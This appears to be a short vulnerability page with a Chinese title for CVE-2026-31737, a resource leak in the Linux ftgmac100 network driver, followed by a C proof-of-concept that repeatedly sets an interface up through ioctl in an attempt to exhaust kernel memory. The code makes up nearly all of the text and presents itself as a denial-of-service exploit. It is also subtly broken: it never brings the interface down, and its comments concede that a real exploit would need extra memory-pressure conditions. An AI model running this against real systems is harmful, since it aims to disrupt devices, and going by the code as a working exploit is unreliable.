CVE-2026-31737 Linux内核ftgmac100驱动资源泄漏漏洞

/* * PoC for CVE-2026-31737: Kernel Memory Leak in ftgmac100 * Description: This code attempts to repeatedly trigger network interface * operations to exhaust kernel memory by exploiting the allocation failure leak. * Note: Requires hardware with ftgmac100 driver (e.g., ASPEED SoC). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> #include <sys/ioctl.h> #include <errno.h> #define IFACE "eth0" // Replace with actual ftgmac100 interface name int main() { int sock, i; struct ifreq ifr; printf("Starting PoC for CVE-2026-31737...\n"); for (i = 0; i < 10000; i++) { sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); continue; } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, IFACE, IFNAMSIZ); // Attempt to bring interface up/down to trigger allocation paths // In a real exploit, specific memory pressure conditions would be applied // to force ftgmac100_alloc_rings to fail midway. ifr.ifr_flags = IFF_UP; if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) { // The goal is to trigger the internal driver open/close paths } close(sock); if (i % 100 == 0) { printf("Iteration %d: Triggering potential leak...\n", i); } } printf("PoC execution completed.\n"); return 0; }